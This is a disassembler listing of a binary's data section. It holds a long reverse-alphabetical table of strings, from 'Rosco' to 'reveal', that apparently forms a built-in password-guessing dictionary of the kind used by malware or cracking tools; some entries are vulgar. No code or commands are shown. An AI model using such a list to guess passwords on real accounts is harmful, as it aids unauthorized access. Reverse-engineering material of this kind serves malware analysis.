aRosco db 'Rosco',0 ; DATA XREF: seg001:0042DE10o
align 4
aRoss db 'Ross',0 ; DATA XREF: seg001:0042DE0Co
align 4
aTestin db 'testin',0 ; DATA XREF: seg001:0042DE08o
align 4
aTester db 'tester',0 ; DATA XREF: seg001:0042DE04o
align 4
a00000000 db '00000000',0 ; DATA XREF: seg001:0042DE00o
; seg001:0042E0BCo
align 4
aZulu db 'zulu',0 ; DATA XREF: seg001:0042DDFCo
align 10h
aZombie db 'zombie',0 ; DATA XREF: seg001:0042DDF8o
align 4
aZmodem db 'zmodem',0 ; DATA XREF: seg001:0042DDF4o
align 10h
aZimmerma db 'zimmerma',0 ; DATA XREF: seg001:0042DDF0o
align 4
aZiggy db 'ziggy',0 ; DATA XREF: seg001:0042DDECo
align 4
aZeitgeis db 'zeitgeis',0 ; DATA XREF: seg001:0042DDE8o
align 10h
aZebra db 'zebra',0 ; DATA XREF: seg001:0042DDE4o
align 4
aYoung db 'young',0 ; DATA XREF: seg001:0042DDE0o
align 10h
aYosemite db 'yosemite',0 ; DATA XREF: seg001:0042DDDCo
align 4
aYolanda db 'yolanda',0 ; DATA XREF: seg001:0042DDD8o
aYellowst db 'yellowst',0 ; DATA XREF: seg001:0042DDD4o
align 10h
aYellow db 'yellow',0 ; DATA XREF: seg001:0042DDD0o
align 4
aYankee db 'yankee',0 ; DATA XREF: seg001:0042DDCCo
align 10h
aYang db 'yang',0 ; DATA XREF: seg001:0042DDC8o
; seg001:0042E504o
align 4
aYaco db 'yaco',0 ; DATA XREF: seg001:0042DDC4o
; seg001:0042E500o
align 10h
aXyzzy db 'xyzzy',0 ; DATA XREF: seg001:0042DDC0o
align 4
aXray db 'xray',0 ; DATA XREF: seg001:0042DDBCo
align 10h
aXmodem db 'xmodem',0 ; DATA XREF: seg001:0042DDB8o
align 4
aXmen db 'xmen',0 ; DATA XREF: seg001:0042DDB4o
align 10h
aXman db 'xman',0 ; DATA XREF: seg001:0042DDB0o
align 4
aXfer db 'xfer',0 ; DATA XREF: seg001:0042DDACo
align 10h
aXena db 'xena',0 ; DATA XREF: seg001:0042DDA8o
align 4
aWyoming db 'wyoming',0 ; DATA XREF: seg001:0042DDA4o
aWwii db 'wwii',0 ; DATA XREF: seg001:0042DDA0o
align 4
aWormwood db 'wormwood',0 ; DATA XREF: seg001:0042DD9Co
align 4
aWorm db 'worm',0 ; DATA XREF: seg001:0042DD98o
align 4
aWork db 'work',0 ; DATA XREF: seg001:0042DD94o
align 4
aWorf db 'worf',0 ; DATA XREF: seg001:0042DD90o
align 4
aWordperf db 'wordperf',0 ; DATA XREF: seg001:0042DD8Co
align 4
aWord db 'word',0 ; DATA XREF: seg001:0042DD88o
align 10h
aWoodwind db 'woodwind',0 ; DATA XREF: seg001:0042DD84o
align 4
aWood db 'wood',0 ; DATA XREF: seg001:0042DD80o
align 4
aWomen db 'women',0 ; DATA XREF: seg001:0042DD7Co
align 4
aWombat db 'wombat',0 ; DATA XREF: seg001:0042DD78o
align 4
aWoman db 'woman',0 ; DATA XREF: seg001:0042DD74o
align 4
aWolverin db 'wolverin',0 ; DATA XREF: seg001:0042DD70o
align 4
aWolf db 'wolf',0 ; DATA XREF: seg001:0042DD6Co
align 10h
aWizard db 'wizard',0 ; DATA XREF: seg001:0042DD68o
align 4
aWithin db 'within',0 ; DATA XREF: seg001:0042DD64o
align 10h
aWiseass db 'wiseass',0 ; DATA XREF: seg001:0042DD60o
aWisconsi db 'wisconsi',0 ; DATA XREF: seg001:0042DD5Co
align 4
aWired db 'wired',0 ; DATA XREF: seg001:0042DD58o
align 4
aWinston db 'winston',0 ; DATA XREF: seg001:0042DD54o
aWing db 'wing',0 ; DATA XREF: seg001:0042DD50o
align 4
aWine db 'wine',0 ; DATA XREF: seg001:0042DD4Co
align 4
aWindows db 'windows',0 ; DATA XREF: seg001:0042DD48o
aWilma db 'wilma',0 ; DATA XREF: seg001:0042DD44o
align 4
aWillie db 'willie',0 ; DATA XREF: seg001:0042DD40o
align 4
aWilliams db 'williams',0 ; DATA XREF: seg001:0042DD3Co
align 4
aWilliam db 'william',0 ; DATA XREF: seg001:0042DD38o
aWill db 'will',0 ; DATA XREF: seg001:0042DD34o
align 4
aWhore db 'whore',0 ; DATA XREF: seg001:0042DD30o
align 10h
aWholesal db 'wholesal',0 ; DATA XREF: seg001:0042DD2Co
align 4
aWhitney db 'whitney',0 ; DATA XREF: seg001:0042DD28o
aWhiting db 'whiting',0 ; DATA XREF: seg001:0042DD24o
aWhite db 'white',0 ; DATA XREF: seg001:0042DD20o
align 4
aWhisky db 'whisky',0 ; DATA XREF: seg001:0042DD1Co
align 4
aWhatnot db 'whatnot',0 ; DATA XREF: seg001:0042DD18o
aWhatever db 'whatever',0 ; DATA XREF: seg001:0042DD14o
align 10h
aWestern db 'western',0 ; DATA XREF: seg001:0042DD10o
aWest db 'west',0 ; DATA XREF: seg001:0042DD0Co
align 10h
aWerewolf db 'werewolf',0 ; DATA XREF: seg001:0042DD08o
align 4
aWendy db 'wendy',0 ; DATA XREF: seg001:0042DD04o
align 4
aWendi db 'wendi',0 ; DATA XREF: seg001:0042DD00o
align 4
aWell db 'well',0 ; DATA XREF: seg001:0042DCFCo
align 4
aWeenie db 'weenie',0 ; DATA XREF: seg001:0042DCF8o
align 4
aWeed db 'weed',0 ; DATA XREF: seg001:0042DCF4o
align 4
aWednesda db 'wednesda',0 ; DATA XREF: seg001:0042DCF0o
align 10h
aWebpage db 'webpage',0 ; DATA XREF: seg001:0042DCECo
aWave db 'wave',0 ; DATA XREF: seg001:0042DCE8o
align 10h
aWater db 'water',0 ; DATA XREF: seg001:0042DCE4o
align 4
aWatchwor db 'watchwor',0 ; DATA XREF: seg001:0042DCE0o
align 4
aWasp db 'wasp',0 ; DATA XREF: seg001:0042DCDCo
align 4
aWarren db 'warren',0 ; DATA XREF: seg001:0042DCD8o
align 4
aWarp db 'warp',0 ; DATA XREF: seg001:0042DCD4o
align 4
aWargames db 'wargames',0 ; DATA XREF: seg001:0042DCD0o
align 4
aWarfare db 'warfare',0 ; DATA XREF: seg001:0042DCCCo
aWarez db 'warez',0 ; DATA XREF: seg001:0042DCC8o
align 4
aWard db 'ward',0 ; DATA XREF: seg001:0042DCC4o
align 10h
aWaco db 'waco',0 ; DATA XREF: seg001:0042DCC0o
align 4
aVodka db 'vodka',0 ; DATA XREF: seg001:0042DCBCo
align 10h
aVisualba db 'visualba',0 ; DATA XREF: seg001:0042DCB8o
align 4
aVisual db 'visual',0 ; DATA XREF: seg001:0042DCB4o
align 4
aVisitor db 'visitor',0 ; DATA XREF: seg001:0042DCB0o
aVirus db 'virus',0 ; DATA XREF: seg001:0042DCACo
align 4
aVirginia db 'virginia',0 ; DATA XREF: seg001:0042DCA8o
align 10h
aVirgin db 'virgin',0 ; DATA XREF: seg001:0042DCA4o
align 4
aVillage db 'village',0 ; DATA XREF: seg001:0042DCA0o
aVideogam db 'videogam',0 ; DATA XREF: seg001:0042DC9Co
align 4
aVideo db 'video',0 ; DATA XREF: seg001:0042DC98o
align 4
aVictor db 'victor',0 ; DATA XREF: seg001:0042DC94o
align 4
aVicky db 'vicky',0 ; DATA XREF: seg001:0042DC90o
align 4
aVertigo db 'vertigo',0 ; DATA XREF: seg001:0042DC8Co
aVeronica db 'veronica',0 ; DATA XREF: seg001:0042DC88o
align 4
aVenus db 'venus',0 ; DATA XREF: seg001:0042DC84o
align 10h
aVasant db 'vasant',0 ; DATA XREF: seg001:0042DC80o
align 4
aVampire db 'vampire',0 ; DATA XREF: seg001:0042DC7Co
aValerie db 'valerie',0 ; DATA XREF: seg001:0042DC78o
aVagina db 'vagina',0 ; DATA XREF: seg001:0042DC74o
align 10h
aUucp db 'uucp',0 ; DATA XREF: seg001:0042DC70o
align 4
aUtility db 'utility',0 ; DATA XREF: seg001:0042DC6Co
aUtil db 'util',0 ; DATA XREF: seg001:0042DC68o
align 4
aUsmc db 'usmc',0 ; DATA XREF: seg001:0042DC64o
align 10h
aUsername db 'username',0 ; DATA XREF: seg001:0042DC60o
align 4
aUsermane db 'usermane',0 ; DATA XREF: seg001:0042DC5Co
align 4
aUsenet db 'usenet',0 ; DATA XREF: seg001:0042DC58o
align 10h
aUrsula db 'ursula',0 ; DATA XREF: seg001:0042DC54o
align 4
aUrchin db 'urchin',0 ; DATA XREF: seg001:0042DC50o
align 10h
aUranus db 'uranus',0 ; DATA XREF: seg001:0042DC4Co
align 4
aUpload db 'upload',0 ; DATA XREF: seg001:0042DC48o
align 10h
aUnlock db 'unlock',0 ; DATA XREF: seg001:0042DC44o
align 4
aUnknown_0 db 'unknown',0 ; DATA XREF: seg001:0042DC40o
aUniversi db 'universi',0 ; DATA XREF: seg001:0042DC3Co
align 4
aUniverse db 'universe',0 ; DATA XREF: seg001:0042DC38o
align 4
aUniversa db 'universa',0 ; DATA XREF: seg001:0042DC34o
align 4
aUniform db 'uniform',0 ; DATA XREF: seg001:0042DC30o
aUnicorn db 'unicorn',0 ; DATA XREF: seg001:0042DC2Co
aUnhappy db 'unhappy',0 ; DATA XREF: seg001:0042DC28o
aUndo db 'undo',0 ; DATA XREF: seg001:0042DC24o
align 4
aUncle db 'uncle',0 ; DATA XREF: seg001:0042DC20o
align 4
aUmesh db 'umesh',0 ; DATA XREF: seg001:0042DC1Co
align 4
aUgly db 'ugly',0 ; DATA XREF: seg001:0042DC18o
align 4
aTuttle db 'tuttle',0 ; DATA XREF: seg001:0042DC14o
align 4
aTurn db 'turn',0 ; DATA XREF: seg001:0042DC10o
align 4
aTuesday db 'tuesday',0 ; DATA XREF: seg001:0042DC0Co
aTubas db 'tubas',0 ; DATA XREF: seg001:0042DC08o
align 4
aTruth db 'truth',0 ; DATA XREF: seg001:0042DC04o
align 4
aTrue db 'true',0 ; DATA XREF: seg001:0042DC00o
align 4
aTron db 'tron',0 ; DATA XREF: seg001:0042DBFCo
align 4
aTrombone db 'trombone',0 ; DATA XREF: seg001:0042DBF8o
align 10h
aTrojan db 'trojan',0 ; DATA XREF: seg001:0042DBF4o
align 4
aTrivial db 'trivial',0 ; DATA XREF: seg001:0042DBF0o
aTrisha db 'trisha',0 ; DATA XREF: seg001:0042DBECo
align 4
aTrek db 'trek',0 ; DATA XREF: seg001:0042DBE8o
align 10h
aTree db 'tree',0 ; DATA XREF: seg001:0042DBE4o
align 4
aTrapdoor db 'trapdoor',0 ; DATA XREF: seg001:0042DBE0o
align 4
aTrap db 'trap',0 ; DATA XREF: seg001:0042DBDCo
align 4
aTransfer db 'transfer',0 ; DATA XREF: seg001:0042DBD8o
align 4
aTrails db 'trails',0 ; DATA XREF: seg001:0042DBD4o
align 10h
aTracy db 'tracy',0 ; DATA XREF: seg001:0042DBD0o
align 4
aTracie db 'tracie',0 ; DATA XREF: seg001:0042DBCCo
align 10h
aTraci db 'traci',0 ; DATA XREF: seg001:0042DBC8o
align 4
aToyota db 'toyota',0 ; DATA XREF: seg001:0042DBC4o
; seg001:0042E4D4o
align 10h
aToxic db 'toxic',0 ; DATA XREF: seg001:0042DBC0o
align 4
aTortoise db 'tortoise',0 ; DATA XREF: seg001:0042DBBCo
align 4
aTopograp db 'topograp',0 ; DATA XREF: seg001:0042DBB8o
align 10h
aTomato db 'tomato',0 ; DATA XREF: seg001:0042DBB4o
align 4
aTokenrin db 'tokenrin',0 ; DATA XREF: seg001:0042DBB0o
align 4
aToken db 'token',0 ; DATA XREF: seg001:0042DBACo
align 4
aToggle db 'toggle',0 ; DATA XREF: seg001:0042DBA8o
align 4
aToad db 'toad',0 ; DATA XREF: seg001:0042DBA4o
align 4
aTits db 'tits',0 ; DATA XREF: seg001:0042DBA0o
align 4
aTina db 'tina',0 ; DATA XREF: seg001:0042DB9Co
align 4
aTime db 'time',0 ; DATA XREF: seg001:0042DB98o
align 4
aTiger db 'tiger',0 ; DATA XREF: seg001:0042DB94o
; seg001:0042E4C8o
align 4
aTiffany db 'tiffany',0 ; DATA XREF: seg001:0042DB90o
aThursday db 'thursday',0 ; DATA XREF: seg001:0042DB8Co
align 10h
aThin db 'thin',0 ; DATA XREF: seg001:0042DB88o
align 4
aTheresa db 'theresa',0 ; DATA XREF: seg001:0042DB84o
aThailand db 'thailand',0 ; DATA XREF: seg001:0042DB80o
align 4
aText db 'text',0 ; DATA XREF: seg001:0042DB7Co
align 4
aTetris db 'tetris',0 ; DATA XREF: seg001:0042DB78o
align 4
aTess db 'tess',0 ; DATA XREF: seg001:0042DB74o
align 4
aTerminat db 'terminat',0 ; DATA XREF: seg001:0042DB70o
align 10h
aTerminal db 'terminal',0 ; DATA XREF: seg001:0042DB6Co
align 4
aTera db 'tera',0 ; DATA XREF: seg001:0042DB68o
align 4
aTennis db 'tennis',0 ; DATA XREF: seg001:0042DB64o
align 4
aTemptati db 'temptati',0 ; DATA XREF: seg001:0042DB60o
align 4
aTelnet db 'telnet',0 ; DATA XREF: seg001:0042DB5Co
align 10h
aTelephon db 'telephon',0 ; DATA XREF: seg001:0042DB58o
align 4
aTeenage db 'teenage',0 ; DATA XREF: seg001:0042DB54o
aTeen db 'teen',0 ; DATA XREF: seg001:0042DB50o
align 4
aTech db 'tech',0 ; DATA XREF: seg001:0042DB4Co
align 4
aTears db 'tears',0 ; DATA XREF: seg001:0042DB48o
align 4
aTeapot db 'teapot',0 ; DATA XREF: seg001:0042DB44o
align 4
aTeam db 'team',0 ; DATA XREF: seg001:0042DB40o
align 4
aTaylor db 'taylor',0 ; DATA XREF: seg001:0042DB38o
align 4
aTarragon db 'tarragon',0 ; DATA XREF: seg001:0042DB34o
align 10h
aTarget db 'target',0 ; DATA XREF: seg001:0042DB30o
align 4
aTara db 'tara',0 ; DATA XREF: seg001:0042DB2Co
align 10h
aTape db 'tape',0 ; DATA XREF: seg001:0042DB28o
align 4
aTango db 'tango',0 ; DATA XREF: seg001:0042DB24o
align 10h
aTangerin db 'tangerin',0 ; DATA XREF: seg001:0042DB20o
align 4
aTammy db 'tammy',0 ; DATA XREF: seg001:0042DB1Co
align 4
aTamie db 'tamie',0 ; DATA XREF: seg001:0042DB18o
align 4
aTami db 'tami',0 ; DATA XREF: seg001:0042DB14o
align 4
aTamara db 'tamara',0 ; DATA XREF: seg001:0042DB10o
align 4
aTall db 'tall',0 ; DATA XREF: seg001:0042DB0Co
align 4
aTalk db 'talk',0 ; DATA XREF: seg001:0042DB08o
align 4
aTabasco db 'tabasco',0 ; DATA XREF: seg001:0042DB04o
aSysop db 'sysop',0 ; DATA XREF: seg001:0042DB00o
align 4
aSysadmin db 'sysadmin',0 ; DATA XREF: seg001:0042DAFCo
align 4
aSymmetry db 'symmetry',0 ; DATA XREF: seg001:0042DAF8o
align 4
aSybil db 'sybil',0 ; DATA XREF: seg001:0042DAF4o
align 4
aSword db 'sword',0 ; DATA XREF: seg001:0042DAF0o
align 4
aSwitch db 'switch',0 ; DATA XREF: seg001:0042DAECo
align 4
aSweat db 'sweat',0 ; DATA XREF: seg001:0042DAE8o
align 4
aSwearer db 'swearer',0 ; DATA XREF: seg001:0042DAE4o
aSuzie db 'suzie',0 ; DATA XREF: seg001:0042DAE0o
align 4
aSuzanne db 'suzanne',0 ; DATA XREF: seg001:0042DADCo
aSusie db 'susie',0 ; DATA XREF: seg001:0042DAD8o
align 4
aSusanne db 'susanne',0 ; DATA XREF: seg001:0042DAD4o
aSusan db 'susan',0 ; DATA XREF: seg001:off_4254E0o
; seg001:0042DAD0o
align 4
aSurfing db 'surfing',0 ; DATA XREF: seg001:0042DACCo
aSurfer db 'surfer',0 ; DATA XREF: seg001:0042DAC8o
align 4
aSupporte db 'supporte',0 ; DATA XREF: seg001:0042DAC4o
align 10h
aSupport db 'support',0 ; DATA XREF: seg001:0042DAC0o
aSupervis db 'supervis',0 ; DATA XREF: seg001:0042DABCo
align 4
aSuperuse db 'superuse',0 ; DATA XREF: seg001:0042DAB8o
align 10h
aSupersta db 'supersta',0 ; DATA XREF: seg001:0042DAB4o
align 4
aSuperson db 'superson',0 ; DATA XREF: seg001:0042DAB0o
align 4
aSuperman db 'superman',0 ; DATA XREF: seg001:0042DAACo
align 4
aSunday db 'sunday',0 ; DATA XREF: seg001:0042DAA8o
align 4
aSummer db 'summer',0 ; DATA XREF: seg001:0042DAA4o
align 4
aSucks db 'sucks',0 ; DATA XREF: seg001:0042DAA0o
align 4
aSuckmydi db 'suckmydi',0 ; DATA XREF: seg001:0042DA9Co
align 4
aSuck db 'suck',0 ; DATA XREF: seg001:0042DA98o
align 10h
aSuccess db 'success',0 ; DATA XREF: seg001:0042DA94o
aSubway db 'subway',0 ; DATA XREF: seg001:0042DA90o
align 10h
aSubscrib db 'subscrib',0 ; DATA XREF: seg001:0042DA8Co
align 4
aStuttgar db 'stuttgar',0 ; DATA XREF: seg001:0042DA88o
align 4
aStrip db 'strip',0 ; DATA XREF: seg001:0042DA80o
align 10h
aString db 'string',0 ; DATA XREF: seg001:0042DA7Co
align 4
aStreetfi db 'streetfi',0 ; DATA XREF: seg001:0042DA78o
align 4
aStratfor db 'stratfor',0 ; DATA XREF: seg001:0042DA74o
align 10h
aStrangle db 'strangle',0 ; DATA XREF: seg001:0042DA70o
align 4
aStrange db 'strange',0 ; DATA XREF: seg001:0042DA6Co
aStones db 'stones',0 ; DATA XREF: seg001:0042DA68o
align 4
aStoned db 'stoned',0 ; DATA XREF: seg001:0042DA64o
align 4
aStoneage db 'stoneage',0 ; DATA XREF: seg001:0042DA60o
align 10h
aSteve db 'steve',0 ; DATA XREF: seg001:0042DA5Co
align 4
aStereo db 'stereo',0 ; DATA XREF: seg001:0042DA58o
align 10h
aStephani db 'stephani',0 ; DATA XREF: seg001:0042DA54o
align 4
aSteph db 'steph',0 ; DATA XREF: seg001:0042DA50o
align 4
aSteel db 'steel',0 ; DATA XREF: seg001:0042DA4Co
align 4
aSteal db 'steal',0 ; DATA XREF: seg001:0042DA48o
align 4
aSteak db 'steak',0 ; DATA XREF: seg001:0042DA44o
align 4
aStarwars db 'starwars',0 ; DATA XREF: seg001:0042DA40o
align 4
aStartup db 'startup',0 ; DATA XREF: seg001:0042DA3Co
aStartrek db 'startrek',0 ; DATA XREF: seg001:0042DA38o
align 4
aStart db 'start',0 ; DATA XREF: sub_40CD3A+1E47o
; seg001:0042DA34o
align 4
aStarship db 'starship',0 ; DATA XREF: seg001:0042DA30o
align 10h
aStar db 'star',0 ; DATA XREF: seg001:0042DA2Co
align 4
aStacy db 'stacy',0 ; DATA XREF: seg001:0042DA28o
align 10h
aStacie db 'stacie',0 ; DATA XREF: seg001:0042DA24o
align 4
aStaci db 'staci',0 ; DATA XREF: seg001:0042DA20o
align 10h
aStacey db 'stacey',0 ; DATA XREF: seg001:0042DA1Co
align 4
aSr71 db 'sr71',0 ; DATA XREF: seg001:0042DA18o
align 10h
aSquires db 'squires',0 ; DATA XREF: seg001:0042DA14o
aSpunk db 'spunk',0 ; DATA XREF: seg001:0042DA10o
align 10h
aSpringer db 'springer',0 ; DATA XREF: seg001:0042DA0Co
align 4
aSpring db 'spring',0 ; DATA XREF: seg001:0042DA08o
align 4
aSpred db 'spred',0 ; DATA XREF: seg001:0042DA04o
align 4
aSpit db 'spit',0 ; DATA XREF: seg001:0042DA00o
align 4
aSpiderma db 'spiderma',0 ; DATA XREF: seg001:0042D9FCo
align 10h
aSpider db 'spider',0 ; DATA XREF: seg001:0042D9F8o
align 4
aSpice db 'spice',0 ; DATA XREF: seg001:0042D9F4o
align 10h
aSpell db 'spell',0 ; DATA XREF: seg001:0042D9F0o
align 4
aSpear db 'spear',0 ; DATA XREF: seg001:0042D9ECo
align 10h
aSparrows db 'sparrows',0 ; DATA XREF: seg001:0042D9E8o
align 4
aSpaceshi db 'spaceshi',0 ; DATA XREF: seg001:0042D9E4o
align 4
aSouth db 'south',0 ; DATA XREF: seg001:0042D9E0o
align 10h
aSource db 'source',0 ; DATA XREF: seg001:0042D9DCo
align 4
aSossina db 'sossina',0 ; DATA XREF: seg001:0042D9D8o
aSonya db 'sonya',0 ; DATA XREF: seg001:0042D9D4o
align 4
aSonic db 'sonic',0 ; DATA XREF: seg001:0042D9D0o
align 10h
aSonia db 'sonia',0 ; DATA XREF: seg001:0042D9CCo
align 4
aSondra db 'sondra',0 ; DATA XREF: seg001:0042D9C8o
align 10h
aSomebody db 'somebody',0 ; DATA XREF: seg001:0042D9C4o
align 4
aSoftware db 'software',0 ; DATA XREF: seg001:0042D9C0o
align 4
aSoft db 'soft',0 ; DATA XREF: seg001:0042D9BCo
align 10h
aSodomy db 'sodomy',0 ; DATA XREF: seg001:0042D9B8o
align 4
aSocrates db 'socrates',0 ; DATA XREF: seg001:0042D9B4o
align 4
aSocial db 'social',0 ; DATA XREF: seg001:0042D9B0o
align 4
aSoap db 'soap',0 ; DATA XREF: seg001:0042D9ACo
align 4
aSnoopy db 'snoopy',0 ; DATA XREF: seg001:0042D9A8o
align 4
aSnatch db 'snatch',0 ; DATA XREF: seg001:0042D9A4o
align 4
aSnake db 'snake',0 ; DATA XREF: seg001:0042D9A0o
align 4
aSnafu db 'snafu',0 ; DATA XREF: seg001:0042D99Co
align 4
aSnach db 'snach',0 ; DATA XREF: seg001:0042D998o
align 4
aSmut db 'smut',0 ; DATA XREF: seg001:0042D994o
align 4
aSmtp db 'smtp',0 ; DATA XREF: seg001:0042D990o
align 4
aSmother db 'smother',0 ; DATA XREF: seg001:0042D98Co
aSmooch db 'smooch',0 ; DATA XREF: seg001:0042D988o
align 4
aSmiles db 'smiles',0 ; DATA XREF: seg001:0042D984o
align 4
aSmile db 'smile',0 ; DATA XREF: seg001:0042D980o
align 4
aSmart db 'smart',0 ; DATA XREF: seg001:0042D97Co
align 4
aSmall db 'small',0 ; DATA XREF: seg001:0042D978o
align 4
aSlut db 'slut',0 ; DATA XREF: seg001:0042D974o
align 4
aSlow db 'slow',0 ; DATA XREF: seg001:0042D970o
align 4
aSliders db 'sliders',0 ; DATA XREF: seg001:0042D96Co
aSlick db 'slick',0 ; DATA XREF: seg001:0042D968o
align 4
aSlave db 'slave',0 ; DATA XREF: seg001:0042D964o
align 4
aSkull db 'skull',0 ; DATA XREF: seg001:0042D960o
align 4
aSite db 'site',0 ; DATA XREF: seg001:0042D95Co
align 4
aSingle db 'single',0 ; DATA XREF: seg001:0042D958o
align 4
aSinger db 'singer',0 ; DATA XREF: seg001:0042D954o
align 4
aSimulati db 'simulati',0 ; DATA XREF: seg001:0042D950o
align 10h
aSimpsons db 'simpsons',0 ; DATA XREF: seg001:0042D94Co
align 4
aSimple db 'simple',0 ; DATA XREF: seg001:0042D948o
align 4
aSimon db 'simon',0 ; DATA XREF: seg001:0042D944o
align 4
aSimcity db 'simcity',0 ; DATA XREF: seg001:0042D940o
aSilver db 'silver',0 ; DATA XREF: seg001:0042D93Co
align 4
aSignatur db 'signatur',0 ; DATA XREF: seg001:0042D938o
align 4
aSierra db 'sierra',0 ; DATA XREF: seg001:0042D934o
align 10h
aSick db 'sick',0 ; DATA XREF: seg001:0042D930o
align 4
aShuttle db 'shuttle',0 ; DATA XREF: seg001:0042D92Co
aShort db 'short',0 ; DATA XREF: seg001:0042D928o
align 4
aShivers db 'shivers',0 ; DATA XREF: seg001:0042D924o
aShiva db 'shiva',0 ; DATA XREF: seg001:0042D920o
align 4
aShitpot db 'shitpot',0 ; DATA XREF: seg001:0042D91Co
aShit db 'shit',0 ; DATA XREF: seg001:0042D918o
align 4
aShirley db 'shirley',0 ; DATA XREF: seg001:0042D914o
aShift db 'shift',0 ; DATA XREF: seg001:0042D910o
align 4
aSherri db 'sherri',0 ; DATA XREF: seg001:0042D90Co
align 10h
aShell db 'shell',0 ; DATA XREF: seg001:0042D908o
align 4
aSheldon db 'sheldon',0 ; DATA XREF: seg001:0042D904o
aSheffiel db 'sheffiel',0 ; DATA XREF: seg001:0042D900o
align 4
aSharon db 'sharon',0 ; DATA XREF: seg001:0042D8FCo
align 4
aSharks db 'sharks',0 ; DATA XREF: seg001:0042D8F8o
align 4
aShark db 'shark',0 ; DATA XREF: seg001:0042D8F4o
align 4
aSharc db 'sharc',0 ; DATA XREF: seg001:0042D8F0o
align 4
aShannon db 'shannon',0 ; DATA XREF: seg001:0042D8ECo
aSexy db 'sexy',0 ; DATA XREF: seg001:0042D8E8o
align 4
aSesame db 'sesame',0 ; DATA XREF: seg001:0042D8E4o
align 4
aService db 'service',0 ; DATA XREF: seg001:0042D8E0o
; seg001:0042E4A8o
aSerial_0 db 'serial',0 ; DATA XREF: seg001:0042D8DCo
align 4
aSerenity db 'serenity',0 ; DATA XREF: seg001:0042D8D8o
align 10h
aSentry db 'sentry',0 ; DATA XREF: seg001:0042D8D4o
align 4
aSentinel db 'sentinel',0 ; DATA XREF: seg001:0042D8D0o
align 4
aSensor db 'sensor',0 ; DATA XREF: seg001:0042D8CCo
align 4
aSega db 'sega',0 ; DATA XREF: seg001:0042D8C8o
align 4
aSeed db 'seed',0 ; DATA XREF: seg001:0042D8C4o
align 4
aSecurity db 'security',0 ; DATA XREF: seg001:0042D8C0o
align 4
aSearch db 'search',0 ; DATA XREF: seg001:0042D8BCo
align 10h
aScout db 'scout',0 ; DATA XREF: seg001:0042D8B8o
align 4
aScotty db 'scotty',0 ; DATA XREF: seg001:0042D8B4o
align 10h
aScott db 'scott',0 ; DATA XREF: seg001:0042D8B0o
align 4
aScorpion db 'scorpion',0 ; DATA XREF: seg001:0042D8ACo
align 4
aScifi db 'scifi',0 ; DATA XREF: seg001:0042D8A8o
align 4
aSchoolsucks db 'schoolsucks',0 ; DATA XREF: seg001:0042D8A4o
aSchool db 'school',0 ; DATA XREF: seg001:0042D8A0o
align 10h
aScheme db 'scheme',0 ; DATA XREF: seg001:0042D89Co
align 4
aScamper db 'scamper',0 ; DATA XREF: seg001:0042D898o
aSaxon db 'saxon',0 ; DATA XREF: seg001:0042D894o
align 4
aSaturn db 'saturn',0 ; DATA XREF: seg001:0042D890o
align 10h
aSaturday db 'saturday',0 ; DATA XREF: seg001:0042D88Co
align 4
aSarah db 'sarah',0 ; DATA XREF: seg001:0042D888o
align 4
aSara db 'sara',0 ; DATA XREF: seg001:0042D884o
align 4
aSandy db 'sandy',0 ; DATA XREF: seg001:0042D880o
align 4
aSandra db 'sandra',0 ; DATA XREF: seg001:0042D87Co
align 4
aSample db 'sample',0 ; DATA XREF: seg001:0042D878o
align 4
aSamantha db 'samantha',0 ; DATA XREF: seg001:0042D874o
align 10h
aSalt db 'salt',0 ; DATA XREF: seg001:0042D870o
align 4
aSale db 'sale',0 ; DATA XREF: seg001:0042D86Co
align 10h
aSalami db 'salami',0 ; DATA XREF: seg001:0042D868o
align 4
aSafe db 'safe',0 ; DATA XREF: seg001:0042D864o
align 10h
aRuth db 'ruth',0 ; DATA XREF: seg001:0042D860o
align 4
aRush db 'rush',0 ; DATA XREF: seg001:0042D85Co
align 10h
aRunning db 'running',0 ; DATA XREF: seg001:0042D858o
aRules db 'rules',0 ; DATA XREF: seg001:0042D854o
align 10h
aRude db 'rude',0 ; DATA XREF: seg001:0042D850o
align 4
aRuby db 'ruby',0 ; DATA XREF: seg001:0042D84Co
align 10h
aRuben db 'ruben',0 ; DATA XREF: seg001:0042D848o
align 4
aRubber db 'rubber',0 ; DATA XREF: seg001:0042D844o
align 10h
aRough db 'rough',0 ; DATA XREF: seg001:0042D840o
align 4
aRoses db 'roses',0 ; DATA XREF: seg001:0042D83Co
align 10h
aRosemary db 'rosemary',0 ; DATA XREF: seg001:0042D838o
align 4
aRosebud db 'rosebud',0 ; DATA XREF: seg001:0042D834o
aRose db 'rose',0 ; DATA XREF: seg001:0042D830o
align 4
aRonald db 'ronald',0 ; DATA XREF: seg001:0042D82Co
align 4
aRomulan db 'romulan',0 ; DATA XREF: seg001:0042D828o
aRomeo db 'romeo',0 ; DATA XREF: seg001:0042D824o
align 4
aRomano db 'romano',0 ; DATA XREF: seg001:0042D820o
align 4
aRolex db 'rolex',0 ; DATA XREF: seg001:0042D81Co
align 4
aRodent db 'rodent',0 ; DATA XREF: seg001:0042D818o
align 4
aRockyhor db 'rockyhor',0 ; DATA XREF: seg001:0042D814o
align 4
aRocky db 'rocky',0 ; DATA XREF: seg001:0042D810o
align 10h
aRock db 'rock',0 ; DATA XREF: seg001:0042D80Co
align 4
aRocheste db 'rocheste',0 ; DATA XREF: seg001:0042D808o
align 4
aRochelle db 'rochelle',0 ; DATA XREF: seg001:0042D804o
align 10h
aRobyn db 'robyn',0 ; DATA XREF: seg001:0042D800o
align 4
aRobotics db 'robotics',0 ; DATA XREF: seg001:0042D7FCo
align 4
aRobot db 'robot',0 ; DATA XREF: seg001:0042D7F8o
align 4
aRobin db 'robin',0 ; DATA XREF: seg001:0042D7F4o
align 4
aRobert db 'robert',0 ; DATA XREF: seg001:0042D7F0o
align 4
aRoach db 'roach',0 ; DATA XREF: seg001:0042D7ECo
align 4
aRisc db 'risc',0 ; DATA XREF: seg001:0042D7E8o
align 4
aRipple db 'ripple',0 ; DATA XREF: seg001:0042D7E4o
align 4
aRiot db 'riot',0 ; DATA XREF: seg001:0042D7E0o
align 4
aRing db 'ring',0 ; DATA XREF: seg001:0042D7DCo
align 4
aRightwin db 'rightwin',0 ; DATA XREF: seg001:0042D7D8o
align 10h
aRight db 'right',0 ; DATA XREF: seg001:0042D7D4o
align 4
aRiffraff db 'riffraff',0 ; DATA XREF: seg001:0042D7D0o
align 4
aRick db 'rick',0 ; DATA XREF: seg001:0042D7CCo
align 4
aRich db 'rich',0 ; DATA XREF: seg001:0042D7C8o
align 4
aRhino db 'rhino',0 ; DATA XREF: seg001:0042D7C4o
align 4
aReveal db 'reveal',0 ; DATA XREF: seg001:0042D7C0o
align 4
